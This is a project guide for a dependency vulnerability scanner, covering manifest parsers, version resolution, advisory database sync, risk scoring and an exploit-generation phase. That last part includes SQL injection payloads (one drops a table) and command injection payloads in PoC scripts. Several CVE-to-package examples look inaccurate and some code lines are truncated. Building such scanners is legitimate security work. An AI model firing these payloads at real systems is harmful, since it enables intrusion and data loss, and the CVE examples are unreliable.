DEPENDENCY VULNERABILITY MAPPER - DETAILED PROJECT GUIDE

📖 TABLE OF CONTENTS

1. Executive Overview
2. Problem Statement
3. System Architecture
4. Implementation Details (Phase by Phase)
5. Code Examples
6. Real-world Examples & Case Studies
7. Testing Strategy
8. Deployment & Monetization
9. Timeline & Milestones
10. Success Metrics

1️⃣ EXECUTIVE OVERVIEW

🎯 Project Vision

Xây dựng một **automated vulnerability mapping tool** quét các phụ thuộc (dependencies) trong dự án phần mềm, phát hiện những phiên bản **có lỗ hổng bảo mật đã biết**, và sinh **proof-of-concept exploits** tự động.

🌍 Why This Problem Matters

Sự kiện thực tế:

```
2020: SolarWinds hack → 18,000 customers affected
      → Attacker tainted dependencies supply chain

2021: log4j CVE-2021-44228
      → RCE vulnerability
      → Used in 93% of enterprise Java apps
      → Estimated 2 billion devices affected

2021: Kaseya VSA ransomware
      → Through supply chain compromise
      → $70 million ransom
```

Thực trạng hiện tại:

- 📊 **99% các dự án** sử dụng 3rd-party dependencies
- ⚠️ **Average project** có 50-200 transitive dependencies
- 🦠 **30-40%** dependencies có known vulnerabilities
- ⏱️ **Time to patch**: Trung bình 200+ days
- 💀 **Average dev** không biết phiên bản dependencies nào bị lỗ hổng

💰 Market Opportunity

Competitors:

- npm audit (free but limited)
- Snyk ($15/user/month → $180/user/year)
- Sonatype (enterprise, $$$)
- GitHub Dependabot (free but limited)

Our advantage:

- ✅ Automatic exploit PoC generation (unique!)
- ✅ Supply chain risk visualization
- ✅ CI/CD integration
- ✅ Open source (community-driven)
- ✅ Transitive dependency analysis (deeper than competitors)

2️⃣ PROBLEM STATEMENT

🔴 Current Challenges

Challenge 1: Blind Dependencies

```
Example - Simple Node.js app:
  package.json:
    {
      "dependencies": {
        "express": "^4.18.0",
        "lodash": "^4.17.21"
      }
    }

  But actual installed:
    express@4.18.2
      → requires body-parser@1.20.0
         → requires bytes@3.1.0 ✓ Safe
         → requires content-type@1.0.5 ⚠️ CVE-2017-3880

    lodash@4.17.21 ✓ Safe

Question: How many developers know about bytes@3.1.0's CVE?
Answer: ~5%
```

Challenge 2: Transitive Vulnerabilities

```
Dependency tree (3 levels deep):

  MyApp
    ├── axios@0.20.0
    │   └── follow-redirects@1.10.0  ⚠️ CVE-2021-33901 (RCE)
    │       └── utils-merge@1.0.1
    │
    ├── express@4.17.1
    │   └── body-parser@1.19.0  ✓ Safe
    │       └── bytes@3.1.0  ⚠️ CVE-2017-3880
    │
    └── lodash@4.17.0  ⚠️ CVE-2021-23337 (Prototype Pollution)

Total vulnerabilities: 3
Only 1 is in package.json (lodash)
2 are hidden in transitive dependencies!

Developer would miss these without proper tooling.
```

Challenge 3: Missing Exploit Information

```
Current tools only report:
✓ "lodash has CVE-2021-23337"
✓ "Severity: High"

But NOT:
× Can this actually be exploited in my code?
× What does the payload look like?
× Do I have the required gadgets installed?
× How long will the fix take?

Our tool will provide all this + working PoC!
```

3️⃣ SYSTEM ARCHITECTURE

🏗️ High-Level Architecture

```
┌─────────────────────────────────────────────────────────────┐
│                        INPUT LAYER                          │
├─────────────────────────────────────────────────────────────┤
│  • package.json (npm)                                       │
│  • requirements.txt (pip)                                   │
│  • pom.xml (maven)                                          │
│  • build.gradle (gradle)                                    │
│  • Gemfile (ruby)                                           │
│  • Cargo.toml (rust)                                        │
│  • Go.mod (golang)                                          │
└──────────────────┬──────────────────────────────────────────┘
                   │
                   ▼

┌─────────────────────────────────────────────────────────────┐
│                  PARSING & RESOLUTION LAYER                 │
├─────────────────────────────────────────────────────────────┤
│  1. Parse dependency files                                  │
│  2. Extract: name, version, constraints                     │
│  3. Resolve version ranges (^1.2.3 → 1.2.5)                 │
│  4. Build dependency tree (including transitive)            │
│  5. Detect conflicts and duplicates                         │
└──────────────────┬──────────────────────────────────────────┘
                   │
                   ▼

┌─────────────────────────────────────────────────────────────┐
│             VULNERABILITY DATABASE LAYER                    │
├─────────────────────────────────────────────────────────────┤
│  • NVD (National Vulnerability Database)                    │
```

```
│  • GitHub Security Advisories                                  │
│  • npm audit database                                          │
│  • PyPA Advisory Database                                      │
│  • RubyGems Advisories                                         │
│  • Snyk Vulnerability DB (API)                                 │
│                                                                │
│  Data: CVE ID, CVSS score, affected versions, CWE, etc.        │
└────────────────┬──────────────────────────────────────────────┘
                 │
                 ▼

┌────────────────────────────────────────────────────────────────┐
│           MATCHING & SCORING LAYER                             │
├────────────────────────────────────────────────────────────────┤
│  1. Match resolved version against vulnerable versions         │
│  2. Calculate risk score based on:                             │
│     - CVSS score                                               │
│     - Exploitability rating                                    │
│     - Your project type                                        │
│     - Patch availability                                       │
│  3. Identify critical vs. low-risk vulns                       │
│  4. Generate remediation priorities                            │
└────────────────┬──────────────────────────────────────────────┘
                 │
                 ▼

┌────────────────────────────────────────────────────────────────┐
│          EXPLOIT GENERATION LAYER                              │
├────────────────────────────────────────────────────────────────┤
│  • Analyze vulnerability type                                  │
│  • Generate working PoC code                                   │
│  • Verify PoC in test environment                              │
│  • Document exploitation steps                                 │
│  • Create interactive demo (optional)                          │
└────────────────┬──────────────────────────────────────────────┘
                 │
                 ▼

┌────────────────────────────────────────────────────────────────┐
│            REPORTING & REMEDIATION LAYER                       │
├────────────────────────────────────────────────────────────────┤
│  Output formats:                                               │
│  • Interactive HTML dashboard                                  │
│  • Machine-readable JSON                                       │
│  • PDF compliance report                                       │
│  • SARIF format (GitHub integration)                           │
│  • GitHub Issues auto-creation                                 │
│                                                                │
│  Features:                                                     │
│  • Risk prioritization                                         │
```

```
│  • Patch recommendations                                    │
│  • Breaking change warnings                                 │
│  • Remediation timeline estimates                           │
└─────────────────────────────────────────────────────────────┘
                  │
                  │
                  ▼

┌─────────────────────────────────────────────────────────────┐
│           INTEGRATION & DEPLOYMENT LAYER                    │
├─────────────────────────────────────────────────────────────┤
│  • GitHub Actions workflow                                  │
│  • GitLab CI pipeline                                       │
│  • Jenkins plugin                                           │
│  • Docker image                                             │
│  • Slack notifications                                      │
│  • Email reports                                            │
└─────────────────────────────────────────────────────────────┘
```

💾 Data Model

```
Dependency
├── id (UUID)
├── name (string)
├── version (string)
├── ecosystem (npm, pip, maven, etc.)
├── type (direct or transitive)
├── resolved_version (string)
├── parent (Dependency)
└── children (List[Dependency])

Vulnerability
├── id (UUID)
├── cve_id (string) - e.g., "CVE-2021-23337"
├── cvss_score (float) - 0-10
├── severity (critical/high/medium/low)
├── cwe_ids (List[string]) - e.g., ["CWE-119", "CWE-120"]
├── affected_versions (List[VersionRange])
├── description (text)
├── published_date (date)
├── last_updated_date (date)
├── references (List[URL])
├── patches (List[VersionRange])
└── exploitability (bool)

Risk Assessment
├── id (UUID)
├── dependency_id (FK → Dependency)
```

```
├── vulnerability_id (FK → Vulnerability)
├── is_exploitable (bool)
├── context_score (float) - custom scoring based on your project
├── remediation_steps (text)
├── estimated_effort (enum: low/medium/high)
├── has_poc (bool)
└── poc_code (text)

ScanResult
├── id (UUID)
├── project_name (string)
├── scan_date (datetime)
├── manifest_file (string)
├── total_dependencies (int)
├── vulnerabilities_found (int)
│   ├── critical (int)
│   ├── high (int)
│   ├── medium (int)
│   └── low (int)
├── risk_score (float) - 0-100
├── dependency_tree (JSON)
├── risk_assessments (List[RiskAssessment])
└── remediation_plan (text)
```

4️⃣ IMPLEMENTATION DETAILS

📍 PHASE 1: Dependency Parser (Weeks 1-2)

1.1 Support Multiple Ecosystems

```python
```

```python
# dependency_parser.py

from abc import ABC, abstractmethod
from typing import List, Dict
import json
import xml.etree.ElementTree as ET
import re

class DependencyParser(ABC):
    """Base class for all ecosystem parsers"""

    @abstractmethod
    def parse(self, manifest_content: str) -> List['ParsedDependency']:
        pass

class ParsedDependency:
    def __init__(self, name: str, version: str, ecosystem: str, is_transitive=False):
        self.name = name
        self.version = version
        self.ecosystem = ecosystem
        self.is_transitive = is_transitive
        self.children = []

class NpmPackageJsonParser(DependencyParser):
    """Parser for npm's package.json"""

    def parse(self, manifest_content: str) -> List[ParsedDependency]:
        data = json.loads(manifest_content)
        dependencies = []

        # Direct dependencies
        for name, version_spec in data.get('dependencies', {}).items():
            dep = ParsedDependency(name, version_spec, 'npm', is_transitive=False)
            dependencies.append(dep)

        # Dev dependencies (also important for vulnerabilities!)
        for name, version_spec in data.get('devDependencies', {}).items():
            dep = ParsedDependency(name, version_spec, 'npm', is_transitive=False)
            dep.dev_only = True
            dependencies.append(dep)

        return dependencies

class PythonRequirementsParser(DependencyParser):
    """Parser for Python requirements.txt"""
```

```python
    def parse(self, manifest_content: str) -> List[ParsedDependency]:
        dependencies = []

        for line in manifest_content.split('\n'):
            line = line.strip()

            # Skip comments and empty lines
            if not line or line.startswith('#'):
                continue

            # Parse different formats:
            # requests==2.25.1
            # django>=3.0,<4.0
            # flask[security]>=1.0

            match = re.match(r'^([a-zA-Z0-9\-_]+)\s*([<>=!]*.*)?$', line)
            if match:
                name = match.group(1)
                version_spec = match.group(2) if match.group(2) else '*'
                dep = ParsedDependency(name, version_spec, 'pip')
                dependencies.append(dep)

        return dependencies

class MavenPomXmlParser(DependencyParser):
    """Parser for Maven's pom.xml"""

    def parse(self, manifest_content: str) -> List[ParsedDependency]:
        dependencies = []
        root = ET.fromstring(manifest_content)

        # Handle XML namespaces
        namespaces = {'m': 'http://maven.apache.org/POM/4.0.0'}

        for dep_elem in root.findall('.//m:dependency', namespaces):
            group_id = dep_elem.findtext('m:groupId', namespaces=namespaces)
            artifact_id = dep_elem.findtext('m:artifactId', namespaces=namespaces)
            version = dep_elem.findtext('m:version', namespaces=namespaces)
            scope = dep_elem.findtext('m:scope', namespaces=namespaces, default='com

            # Full Maven coordinate
            name = f"{group_id}:{artifact_id}"
            dep = ParsedDependency(name, version, 'maven')
            dep.scope = scope  # compile, test, provided, runtime
            dependencies.append(dep)

        return dependencies
```

```python
# Factory pattern for parser selection
class ParserFactory:
    @staticmethod
    def get_parser(manifest_filename: str) -> DependencyParser:
        if manifest_filename == 'package.json':
            return NpmPackageJsonParser()
        elif manifest_filename == 'requirements.txt':
            return PythonRequirementsParser()
        elif manifest_filename == 'pom.xml':
            return MavenPomXmlParser()
        # ... etc for other formats
        else:
            raise ValueError(f"Unknown manifest format: {manifest_filename}")
```

1.2 Version Resolution

```python
```

```python
# version_resolver.py

from packaging import version
from typing import Optional, Tuple

class VersionResolver:
    """
    Resolve version specifiers to actual installed versions

    Examples:
    - "^1.2.3" in npm → resolves to "1.x.x" where x >= 2.3
    - ">=1.0,<2.0" in Python → resolves to "1.x.x"
    """

    @staticmethod
    def resolve_npm_version(spec: str, available_versions: List[str]) -> Optional[st
        """
        Resolve npm version specifier

        Supported:
        - ^1.2.3 → >=1.2.3, <2.0.0
        - ~1.2.3 → >=1.2.3, <1.3.0
        - 1.2.3 → exactly 1.2.3
        - >=1.0, <2.0 → range
        - * or x → latest
        """

        # Remove whitespace
        spec = spec.strip()

        # Latest version
        if spec in ['*', 'x', 'latest']:
            return max(available_versions, key=version.parse)

        # Caret (^) - compatible with version
        if spec.startswith('^'):
            min_ver = version.parse(spec[1:])
            # ^1.2.3 allows changes that don't modify [1]
            max_major = min_ver.major
            matching = [
                v for v in available_versions
                if version.parse(v).major == max_major and version.parse(v) >= min_v
            ]
            return max(matching, key=version.parse) if matching else None

        # Tilde (~) - reasonably close to version
```

```python
        if spec.startswith('~'):
            min_ver = version.parse(spec[1:])
            # ~1.2.3 allows changes in patch version only
            max_major = min_ver.major
            max_minor = min_ver.minor
            matching = [
                v for v in available_versions
                if (version.parse(v).major == max_major and
                    version.parse(v).minor == max_minor and
                    version.parse(v) >= min_ver)
            ]
            return max(matching, key=version.parse) if matching else None

        # Exact version
        if spec.isdigit() or spec.replace('.', '').isdigit():
            return spec if spec in available_versions else None

        # Range like ">=1.0,<2.0"
        return VersionResolver._resolve_range(spec, available_versions)

    @staticmethod
    def _resolve_range(spec: str, available_versions: List[str]) -> Optional[str]:
        # Parse multiple constraints separated by comma
        constraints = [c.strip() for c in spec.split(',')]

        matching = available_versions
        for constraint in constraints:
            matching = VersionResolver._apply_constraint(constraint, matching)

        return max(matching, key=version.parse) if matching else None

    @staticmethod
    def _apply_constraint(constraint: str, versions: List[str]) -> List[str]:
        # >=1.0, <=2.0, >1.0, <2.0
        if constraint.startswith('>='):
            min_ver = version.parse(constraint[2:])
            return [v for v in versions if version.parse(v) >= min_ver]
        elif constraint.startswith('<='):
            max_ver = version.parse(constraint[2:])
            return [v for v in versions if version.parse(v) <= max_ver]
        elif constraint.startswith('>'):
            min_ver = version.parse(constraint[1:])
            return [v for v in versions if version.parse(v) > min_ver]
        elif constraint.startswith('<'):
            max_ver = version.parse(constraint[1:])
```

```
        return [v for v in versions if version.parse(v) < max_ver]
    return versions
```

1.3 Building Dependency Tree

```python
```

```python
# dependency_tree_builder.py

import subprocess
import json
from typing import Dict, List

class DependencyTreeBuilder:
    """Build complete dependency tree including transitive deps"""

    @staticmethod
    def build_npm_tree(package_dir: str) -> Dict:
        """
        Get complete dependency tree for npm project
        Uses 'npm ls --json' for accuracy
        """
        try:
            result = subprocess.run(
                ['npm', 'ls', '--json'],
                cwd=package_dir,
                capture_output=True,
                text=True,
                timeout=30
            )

            if result.returncode != 0:
                print(f"Warning: npm ls returned non-zero: {result.stderr}")

            tree = json.loads(result.stdout)
            return tree

        except subprocess.TimeoutExpired:
            print(f"Timeout: npm ls took too long")
            return {}
        except json.JSONDecodeError:
            print(f"Failed to parse npm output as JSON")
            return {}

    @staticmethod
    def build_python_tree(requirements_file: str) -> Dict:
        """
        Get dependency tree for Python project
        Uses 'pip-audit' or 'pipdeptree'
        """
        try:
            result = subprocess.run(
                ['pip', 'install', 'pipdeptree'],
```

```
                capture_output=True,
                timeout=60
            )

            result = subprocess.run(
                ['pipdeptree', '--json'],
                capture_output=True,
                text=True,
                timeout=30
            )

            tree = json.loads(result.stdout)
            return tree

        except Exception as e:
            print(f"Failed to build Python tree: {e}")
            return {}

    @staticmethod
    def build_maven_tree(pom_file: str) -> Dict:
        """
        Get dependency tree for Maven project
        Uses 'mvn dependency:tree'
        """
        try:
            result = subprocess.run(
                ['mvn', 'dependency:tree', '-DoutputFile=/tmp/tree.txt'],
                cwd=pom_file.parent,
                capture_output=True,
                timeout=120
            )

            # Parse the text output
            with open('/tmp/tree.txt') as f:
                return f.read()

        except Exception as e:
            print(f"Failed to build Maven tree: {e}")
            return {}

# Example output structure:
"""
{
  "name": "my-app",
  "version": "1.0.0",
  "dependencies": {
    "express": {
```

```
      "version": "4.18.2",
      "dependencies": {
        "body-parser": {
          "version": "1.20.0",
          "dependencies": {
            "bytes": {
              "version": "3.1.0"
            }
          }
        }
      }
    },
    "lodash": {
      "version": "4.17.21"
    }
  }
}
"""
```

📍 PHASE 2: Vulnerability Database Integration (Weeks 3-4)

2.1 National Vulnerability Database (NVD) Integration

```python
```

```python
# nvd_database.py

import requests
import sqlite3
import json
from datetime import datetime, timedelta
from typing import List, Dict, Optional

class NVDDatabase:
    """
    Integration with National Vulnerability Database
    Free API available at: https://services.nvd.nist.gov/rest/json/cves/1.0

    Rate limits:
    - Without API key: 5 requests per 30 seconds
    - With API key: 50 requests per 30 seconds
    """

    BASE_URL = "https://services.nvd.nist.gov/rest/json/cves/1.0"

    def __init__(self, api_key: Optional[str] = None, db_path: str = 'nvd.db'):
        self.api_key = api_key
        self.db_path = db_path
        self._init_database()

    def _init_database(self):
        """Initialize local SQLite database"""
        conn = sqlite3.connect(self.db_path)
        cursor = conn.cursor()

        # Create tables
        cursor.execute('''
            CREATE TABLE IF NOT EXISTS vulnerabilities (
                cve_id TEXT PRIMARY KEY,
                description TEXT,
                cvss_v2_score REAL,
                cvss_v3_score REAL,
                cvss_v3_severity TEXT,
                cwe_ids TEXT,  -- JSON array
                published_date TEXT,
                last_modified_date TEXT,
                references TEXT,  -- JSON array
                affected_products TEXT,  -- JSON array
                last_sync TEXT
            )
        ''')
```

```python
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS cpe_to_cve (
            cpe TEXT,
            cve_id TEXT,
            start_version TEXT,
            end_version TEXT,
            FOREIGN KEY(cve_id) REFERENCES vulnerabilities(cve_id)
        )
    ''')

    conn.commit()
    conn.close()

def fetch_vulnerability(self, cve_id: str) -> Optional[Dict]:
    """
    Fetch vulnerability by CVE ID

    Example CVE: CVE-2021-23337 (lodash prototype pollution)
    """
    # Check cache first
    cached = self._get_from_cache(cve_id)
    if cached:
        return cached

    # Fetch from NVD API
    try:
        headers = {}
        if self.api_key:
            headers['apiKey'] = self.api_key

        params = {'cveId': cve_id}
        response = requests.get(
            f"{self.BASE_URL}",
            params=params,
            headers=headers,
            timeout=10
        )
        response.raise_for_status()

        data = response.json()

        if data.get('result', {}).get('CVE_Items'):
            vuln = self._parse_cve_item(data['result']['CVE_Items'][0])
            self._cache_vulnerability(vuln)
            return vuln
```

```
        return None

    except requests.exceptions.RequestException as e:
        print(f"Failed to fetch {cve_id}: {e}")
        return None

def _parse_cve_item(self, item: Dict) -> Dict:
    """Parse NVD CVE item into our format"""
    cve = item.get('cve', {})
    impact = item.get('impact', {})

    # Extract CVSS scores
    cvss_v3 = impact.get('baseMetricV3', {})
    cvss_score = cvss_v3.get('cvssV3', {}).get('baseScore')
    severity = cvss_v3.get('cvssV3', {}).get('baseSeverity')

    # Extract CWEs
    cwe_ids = []
    for weakness in cve.get('problemtype', {}).get('problemtype_data', []):
        for description in weakness.get('description', []):
            cwe = description.get('value', '')
            if cwe.startswith('CWE-'):
                cwe_ids.append(cwe)

    # Extract references
    references = [
        ref.get('url', '')
        for ref in cve.get('references', {}).get('reference_data', [])
    ]

    # Extract affected products (CPE)
    affected = []
    for config in item.get('configurations', {}).get('nodes', []):
        for match in config.get('cpe_match', []):
            cpe = match.get('cpe23Uri', '')
            affected.append({
                'cpe': cpe,
                'start_version': match.get('versionStartIncluding', ''),
                'end_version': match.get('versionEndIncluding', ''),
            })

    return {
        'cve_id': cve.get('CVE_data_meta', {}).get('ID'),
        'description': cve.get('description', {}).get('description_data', [{}])[
        'cvss_score': cvss_score,
        'severity': severity,
        'cwe_ids': cwe_ids,
```

```
        'affected_products': affected,
        'published_date': item.get('publishedDate'),
        'last_modified_date': item.get('lastModifiedDate'),
        'references': references,
    }

def _get_from_cache(self, cve_id: str) -> Optional[Dict]:
    """Get vulnerability from local cache"""
    conn = sqlite3.connect(self.db_path)
    cursor = conn.cursor()

    cursor.execute('SELECT * FROM vulnerabilities WHERE cve_id = ?', (cve_id,))
    row = cursor.fetchone()
    conn.close()

    if row:
        return self._row_to_dict(row)
    return None

def _cache_vulnerability(self, vuln: Dict):
    """Cache vulnerability in local database"""
    conn = sqlite3.connect(self.db_path)
    cursor = conn.cursor()

    cursor.execute('''
        INSERT OR REPLACE INTO vulnerabilities
        (cve_id, description, cvss_v3_score, cvss_v3_severity,
         cwe_ids, published_date, last_modified_date, references,
         affected_products, last_sync)
        VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
    ''', (
        vuln['cve_id'],
        vuln['description'],
        vuln['cvss_score'],
        vuln['severity'],
        json.dumps(vuln['cwe_ids']),
        vuln['published_date'],
        vuln['last_modified_date'],
        json.dumps(vuln['references']),
        json.dumps(vuln['affected_products']),
        datetime.now().isoformat(),
    ))

    conn.commit()
    conn.close()

def sync_all_vulnerabilities(self, days_back: int = 7):
```

```python
    """
    Sync recently modified vulnerabilities from NVD
    Default: sync last 7 days of changes
    """
    print(f"Syncing vulnerabilities from last {days_back} days...")

    start_date = (datetime.now() - timedelta(days=days_back)).isoformat() + 'Z'

    try:
        params = {
            'resultsPerPage': 2000,
            'startIndex': 0,
            'modStartDate': start_date,
        }

        if self.api_key:
            params['apiKey'] = self.api_key

        # Paginate through results
        while True:
            response = requests.get(
                f"{self.BASE_URL}",
                params=params,
                timeout=15
            )
            response.raise_for_status()

            data = response.json()
            items = data.get('result', {}).get('CVE_Items', [])

            if not items:
                break

            # Process items
            for item in items:
                vuln = self._parse_cve_item(item)
                self._cache_vulnerability(vuln)
                print(f"  Cached {vuln['cve_id']}")

            # Check if more pages
            total_results = data.get('totalResults', 0)
            if params['startIndex'] + 2000 >= total_results:
                break

            params['startIndex'] += 2000
```

```
        except Exception as e:
            print(f"Error syncing NVD: {e}")
```

2.2 GitHub Security Advisories

```python
```

```python
# github_advisories.py

import requests
import json
from typing import List, Dict, Optional

class GitHubAdvisories:
    """
    Fetch security advisories from GitHub
    More recent than NVD, language-specific

    Endpoints:
    - npm: https://api.github.com/advisories?ecosystem=npm
    - pip: https://api.github.com/advisories?ecosystem=pip
    - etc.
    """

    BASE_URL = "https://api.github.com/advisories"

    def __init__(self, github_token: Optional[str] = None):
        self.github_token = github_token
        self.headers = {
            'Accept': 'application/vnd.github.v3+json'
        }
        if github_token:
            self.headers['Authorization'] = f'token {github_token}'

    def fetch_advisories(self, ecosystem: str, severity: str = None) -> List[Dict]:
        """
        Fetch advisories for specific ecosystem

        Examples:
        - ecosystem='npm': JavaScript packages
        - ecosystem='pip': Python packages
        - ecosystem='maven': Java packages
        """

        params = {
            'ecosystem': ecosystem,
            'per_page': 100,
        }

        if severity in ['critical', 'high', 'moderate', 'low']:
            params['severity'] = severity

        try:
```

```python
        response = requests.get(
            self.BASE_URL,
            params=params,
            headers=self.headers,
            timeout=10
        )
        response.raise_for_status()

        advisories = response.json()
        return advisories

    except requests.exceptions.RequestException as e:
        print(f"Failed to fetch GitHub advisories: {e}")
        return []

def search_package_advisories(self,
                              ecosystem: str,
                              package_name: str) -> List[Dict]:
    """
    Search for advisories affecting specific package

    Example:
    advisories = search_package_advisories('npm', 'lodash')
    """

    all_advisories = self.fetch_advisories(ecosystem)

    # Filter for this package
    matching = [
        adv for adv in all_advisories
        if adv.get('package', {}).get('name', '').lower() == package_name.lower(
    ]

    return matching
```

2.3 Offline Database with Auto-Sync

python

```python
# vulnerability_manager.py

from datetime import datetime, timedelta
import sqlite3
import json

class VulnerabilityManager:
    """
    Central manager for vulnerability data
    Combines NVD, GitHub, and other sources
    Maintains local cache for offline usage
    """

    def __init__(self, db_path: str = 'vuln.db'):
        self.db_path = db_path
        self.nvd = NVDDatabase(db_path='nvd.db')
        self.github = GitHubAdvisories()
        self._init_database()

    def _init_database(self):
        """Create unified vulnerability schema"""
        conn = sqlite3.connect(self.db_path)
        cursor = conn.cursor()

        cursor.execute('''
            CREATE TABLE IF NOT EXISTS vulnerabilities (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                cve_id TEXT UNIQUE,
                ghsa_id TEXT,
                package_name TEXT,
                ecosystem TEXT,
                affected_version_start TEXT,
                affected_version_end TEXT,
                fixed_version TEXT,
                cvss_score REAL,
                severity TEXT,
                description TEXT,
                cwe_ids TEXT,  -- JSON
                references TEXT,  -- JSON
                published_date TEXT,
                last_modified TEXT,
                exploitability BOOLEAN,
                last_sync TEXT,
                source TEXT  -- 'nvd', 'github', etc.
            )
        ''')
```

```python
        cursor.execute('''
            CREATE INDEX IF NOT EXISTS idx_package_ecosystem
            ON vulnerabilities(package_name, ecosystem)
        ''')

        conn.commit()
        conn.close()

    def sync_all(self, force: bool = False) -> bool:
        """
        Sync vulnerability data from all sources
        Only syncs if last sync was > 24 hours ago (unless forced)
        """

        # Check last sync time
        last_sync = self._get_last_sync_time()
        if last_sync and (datetime.now() - last_sync).seconds < 86400 and not force:
            print("Cache is recent, skipping sync. Use force=True to resync.")
            return True

        print("Syncing vulnerability database...")

        # Sync from multiple sources
        self._sync_nvd()
        self._sync_github('npm')
        self._sync_github('pip')
        self._sync_github('maven')

        return True

    def find_vulnerabilities(self,
                             package_name: str,
                             version: str,
                             ecosystem: str) -> List[Dict]:
        """
        Find all vulnerabilities affecting this package@version

        Example:
        vulns = manager.find_vulnerabilities('lodash', '4.17.20', 'npm')
        """

        from packaging import version as pkg_version

        conn = sqlite3.connect(self.db_path)
        cursor = conn.cursor()
```

```python
        # Get all known vulns for this package
        cursor.execute('''
            SELECT * FROM vulnerabilities
            WHERE package_name = ? AND ecosystem = ?
        ''', (package_name, ecosystem))

        rows = cursor.fetchall()
        conn.close()

        # Filter to ones affecting current version
        affecting = []
        current_version = pkg_version.parse(version)

        for row in rows:
            vuln = self._row_to_dict(row)

            # Check if current version is in vulnerable range
            affected_start = pkg_version.parse(vuln['affected_version_start'] or '0'
            affected_end = pkg_version.parse(vuln['affected_version_end'] or '999.99

            if affected_start <= current_version <= affected_end:
                # Check if there's a patch available
                fixed = vuln.get('fixed_version')
                if fixed:
                    vuln['has_patch'] = pkg_version.parse(fixed) > current_version

                affecting.append(vuln)

        return affecting
```

📍 PHASE 3: Vulnerability Matching & Risk Scoring (Weeks 5-7)

3.1 Smart Matching Algorithm

```python
```

```python
# vulnerability_matcher.py

from packaging import version
from typing import List, Dict, Tuple
import re

class VulnerabilityMatcher:
    """
    Match resolved dependencies against known vulnerabilities
    Handle version constraints correctly
    Calculate risk scores
    """

    def __init__(self, vuln_manager: VulnerabilityManager):
        self.vuln_manager = vuln_manager

    def match_dependencies(self,
                           dependencies: List[ParsedDependency],
                           ecosystem: str) -> List[Tuple[ParsedDependency, List[Dict]
        """
        Find vulnerabilities for all dependencies
        Returns: [(dependency, [vulns]), ...]
        """

        results = []

        for dep in dependencies:
            # Resolve version if needed (handles ^1.2.3 etc)
            resolved_version = self._resolve_version(dep.version, ecosystem, dep.nam

            # Find vulnerabilities
            vulns = self.vuln_manager.find_vulnerabilities(
                dep.name,
                resolved_version,
                ecosystem
            )

            if vulns:
                results.append((dep, vulns))

        return results

    def _resolve_version(self, version_spec: str, ecosystem: str, package_name: str)
        """
        Resolve version specifier to actual version
        For now, assuming package is already resolved
```

```
        In real scenario, would query npm/pip registry
        """
        return version_spec

    def calculate_risk_score(self,
                             dependency: ParsedDependency,
                             vulnerabilities: List[Dict],
                             project_context: Dict) -> Dict:
        """
        Calculate risk score based on multiple factors

        Factors:
        - CVSS score (40%)
        - Exploitability (30%)
        - Patch availability (20%)
        - Dependency type (direct vs transitive) (10%)
        """

        if not vulnerabilities:
            return {
                'score': 0,
                'severity': 'none',
                'breakdown': {}
            }

        # Get worst vulnerability
        worst_cve = max(vulnerabilities, key=lambda v: v.get('cvss_score', 0))

        # CVSS score (0-10 → 0-40)
        cvss_weight = worst_cve.get('cvss_score', 0) * 4

        # Exploitability (0-10 → 0-30)
        exploitability_weight = (10 if worst_cve.get('exploitability') else 5)

        # Patch availability (0-20)
        patch_weight = 20 if worst_cve.get('has_patch') else 0

        # Dependency type (0-10)
        is_direct = not dependency.is_transitive
        dep_type_weight = 10 if is_direct else 5

        # Total score 0-100
        total_score = cvss_weight + exploitability_weight + patch_weight + dep_type_
        total_score = min(100, total_score)

        # Severity classification
        if total_score >= 80:
```

```
        severity = 'critical'
    elif total_score >= 60:
        severity = 'high'
    elif total_score >= 40:
        severity = 'medium'
    else:
        severity = 'low'

    return {
        'score': total_score,
        'severity': severity,
        'breakdown': {
            'cvss': cvss_weight,
            'exploitability': exploitability_weight,
            'patch': patch_weight,
            'dependency_type': dep_type_weight,
        },
        'worst_cve': worst_cve.get('cve_id'),
        'remediation_effort': self._estimate_effort(
            dependency, worst_cve
        ),
    }

def _estimate_effort(self, dependency: ParsedDependency, vuln: Dict) -> str:
    """
    Estimate effort to remediate vulnerability

    Low: patch available, minor version
    Medium: patch available, major version change
    High: no patch, or breaking changes
    """

    if not vuln.get('has_patch'):
        return 'high'

    # Check for breaking changes
    # This is simplified; real implementation would analyze API changes
    current = version.parse(dependency.version)
    fixed = version.parse(vuln.get('fixed_version', '0'))

    if fixed.major > current.major:
        return 'high'  # Major version bump
    elif fixed.minor > current.minor:
        return 'medium'  # Minor version bump
    else:
        return 'low'  # Patch version only
```

📍 PHASE 4: Exploit Generation (Weeks 8-9)

4.1 PoC Generator for Different Vuln Types

```python
```

```python
# exploit_generator.py

from abc import ABC, abstractmethod
from typing import Optional

class ExploitGenerator(ABC):
    """Base class for vulnerability PoC generators"""

    @abstractmethod
    def generate_poc(self, vulnerability: Dict) -> Optional[str]:
        """Generate working proof of concept"""
        pass

class SQLInjectionExploit(ExploitGenerator):
    """
    Generate SQL Injection PoC

    Example: if app uses user input directly in SQL query
    """

    def generate_poc(self, vulnerability: Dict) -> Optional[str]:
        """
        Generate SQL injection payload
        """

        vuln_cve = vulnerability.get('cve_id')

        # Basic SQL injection payloads
        payloads = [
            "' OR '1'='1",
            "'; DROP TABLE users; --",
            "1' UNION SELECT NULL, NULL, NULL --",
            "admin' --",
        ]

        poc_code = f"""
# SQL Injection PoC for {vuln_cve}
# Vulnerable code pattern:
# query = f"SELECT * FROM users WHERE username = '{username}'"

import requests

target = "http://vulnerable-app.local/login"

# Test various payloads
payloads = {payloads}
```

```
for payload in payloads:
    data = {{
        "username": payload,
        "password": "anything"
    }}

    response = requests.post(target, data=data)

    if "error" not in response.text.lower() or len(response.text) > 1000:
        print(f"[+] Possible vulnerability with: {{payload}}")
        print(f"    Response length: {{len(response.text)}}")
"""
        return poc_code

class CommandInjectionExploit(ExploitGenerator):
    """
    Generate Command Injection PoC

    Example: PHP system(), exec(), shell_exec() with user input
    """

    def generate_poc(self, vulnerability: Dict) -> Optional[str]:

        vuln_cve = vulnerability.get('cve_id')

        poc_code = f"""
# Command Injection PoC for {vuln_cve}
# Vulnerable code pattern (PHP):
# system("ping " . $_GET['host']);

import requests
import subprocess

target = "http://vulnerable-app.local/ping"

# Command injection payloads
payloads = [
    "; id",
    "| id",
    "|| id",
    "&& id",
    "`id`",
    "$(id)",
]

for payload in payloads:
```

```
    try:
        response = requests.get(
            target,
            params={{"host": payload}},
            timeout=5
        )

        # Look for command output in response
        if any(uid_marker in response.text for uid_marker in ['uid=', 'root', 'www-d
